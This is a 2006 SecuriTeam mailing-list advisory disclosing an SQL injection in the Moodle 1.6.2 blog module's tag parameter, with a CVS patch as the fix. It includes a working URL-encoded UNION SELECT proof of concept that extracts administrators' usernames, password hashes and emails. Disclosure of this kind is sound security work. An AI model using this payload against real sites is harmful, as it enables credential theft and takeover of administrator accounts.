From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 10 Oct 2006 17:07:40 +0200
Subject: [UNIX] Moodle tag Parameter SQL Injection
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20061010155238.450475789@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Moodle tag Parameter SQL Injection
------------------------------------------------------------------------
SUMMARY
A security vulnerability was recently discovered in all versions of Moodle
1.6 and later that allows SQL injection.
DETAILS
Vulnerable Systems:
* Moodle version 1.6.2
Immune Systems:
* Moodle CVS
Prequisites:
* The moodle blog "module" must be enabled
* Guest access to the blog must be enabled
Proof of Concept:
/blog/index.php?tag=x%2527 UNION SELECT %2527-1 UNION SELECT
1,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email FROM
mdl_user RIGHT JOIN mdl_user_admins ON
mdl_user.id%3dmdl_user_admins.userid UNION SELECT
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM mdl_post p,
mdl_blog_tag_instance bt, mdl_user u WHERE 1%3D0%2527,1,1,%25271
Solution:
Update your servers using CVS as soon as possible, or edit the file
blog/index.php in your copy manually as described here:
<http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3>
http://cvs.moodle.com/blog/index.php?r1=1.18.2.2&r2=1.18.2.3
ADDITIONAL INFORMATION
The information has been provided by <mailto:disfigure@gmail.com.>
disfigure.
The original article can be found at:
<http://w4ck1ng.com/board/showthread.php?t=1305>
http://w4ck1ng.com/board/showthread.php?t=1305
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.